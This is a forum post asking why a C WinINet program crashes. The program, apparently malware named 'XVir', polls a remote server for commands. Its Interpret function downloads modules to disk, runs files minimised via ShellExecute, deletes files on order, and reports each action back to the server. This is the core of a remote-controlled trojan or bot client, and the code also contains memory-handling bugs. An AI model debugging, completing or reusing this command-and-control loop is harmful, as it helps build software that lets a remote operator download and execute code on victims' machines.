HttpSendRequest crashes program
Im making a program using wininet that connects to a website and follows commands on the server. But it keeps crashing.
This code is used in WM_CREATE
Code:
hInternet = InternetOpen("XVir 0.02", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if(!hInternet)Append(hEdit, "Error: hInternet\r\n");
http = InternetConnect(hInternet, "logonlive.medianewsonline.com", INTERNET_DEFAULT_HTTP_PORT,
NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
if(!http)Append(hEdit, "Error: http\r\n");
Code:
LPCSTR Check()
{
LPCSTR buff;
LPCSTR other;
DWORD count;
DWORD countr;
HINTERNET hRequest;
hRequest = HttpOpenRequest(http, "GET", "/xvir/command.php", NULL, NULL, NULL,
INTERNET_FLAG_RELOAD, 0);
if(HttpSendRequest(hRequest, NULL, 0, NULL, 0) == FALSE)
{
Append(hEdit, "Damnit.");
} //line fails on 3rd DEL ???
InternetQueryDataAvailable(hRequest, &count, 0, 0);
buff = new char[count];
InternetReadFile(hRequest, (LPVOID)buff, count, &countr);
return buff;
}
bool Interpret(LPCSTR buff)
{
bool ret = false;
char* command = (char*)malloc(3);
char* arg;
Append(hEdit, (char*)buff); Append(hEdit, "\r\n");
strncpy(command, buff,3);
if(strcmp(command,"LLL") != 0)
{
Append(hEdit, command); Append(hEdit, "\r\n");
arg = (char*)malloc(strlen(buff)-4);
strncpy(arg, buff+4, strlen(buff)-4);
Append(hEdit, arg); Append(hEdit, "\r\n\r\n");
}
if(strcmp(command,"MOD") == 0)
{
HINTERNET hReq;
char* b;
DWORD count, countr, total;
hReq = HttpOpenRequest(http, "GET", strcatr("/xvir/modsize.php?mod=",arg),NULL,NULL,NULL,
INTERNET_FLAG_RELOAD, 0);
HttpSendRequest(hReq, NULL, 0, NULL, 0);
InternetQueryDataAvailable(hReq, &count, 0, 0);
char* buff = (char*)malloc(count);
InternetReadFile(hReq, (LPVOID)buff, count, &countr);
Append(hEdit, buff); Append(hEdit, "\r\n\r\n");
int modlen = atoi(buff);
hReq = HttpOpenRequest(http, "GET", strcatr("/xvir/module.php?mod=",arg),NULL,NULL,NULL,
INTERNET_FLAG_RELOAD, 0);
HttpSendRequest(hReq, NULL, 0, NULL, 0);
char* module = (char*)malloc(modlen);
countr = 1;
total = 0;
while(countr > 0 && total < modlen)
{
b = (char*)malloc(modlen+1);
InternetReadFile(hReq, (LPVOID)b, modlen, &countr);
memcpy(module+total, b, strlen(b));
total += countr;
}
Append(hEdit, module);Append(hEdit,"\r\n\r\n");
FILE *modf;
modf = fopen(arg, "wb");
fprintf(modf, module);
fclose(modf);
hReq = HttpOpenRequest(http, "GET", strcatr(strcatr("/xvir/didcommand.php?com=",command),
strcatr("&arg=",arg)),NULL,NULL,NULL,INTERNET_FLAG_RELOAD, 0);
HttpSendRequest(hReq,NULL,0,NULL,0);
free(b);
}
else if(strcmp(command,"DEL") == 0)
{
HINTERNET hReq;
DeleteFile(arg);
hReq = HttpOpenRequest(http, "GET", strcatr(strcatr("/xvir/didcommand.php?com=",command),
strcatr("&arg=",arg)),NULL,NULL,NULL,INTERNET_FLAG_RELOAD, 0);
HttpSendRequest(hReq,NULL,0,NULL,0);
}
else if(strcmp(command,"RUN") == 0)
{
HINTERNET hReq;
ShellExecute(NULL, "open", arg, "", NULL, SW_SHOWMINNOACTIVE);
hReq = HttpOpenRequest(http, "GET", strcatr(strcatr("/xvir/didcommand.php?com=",command),
strcatr("&arg=",arg)),NULL,NULL,NULL,INTERNET_FLAG_RELOAD, 0);
HttpSendRequest(hReq,NULL,0,NULL,0);
}
else if(strcmp(command,"LLL") == 0)
{
Append(hEdit, "No Commands");Append(hEdit, "\r\n\r\n");
}
free(command);
free(arg);
return ret;
}
Append appends text to an edit control.
I call Interpret(Check()) when a menu is clicked.
Im sending the commands
MOD mod.txt
RUN mod.txt
DEL mod.txt
On the third command, the program freezes and then crashes. Any ideas what could be causing it?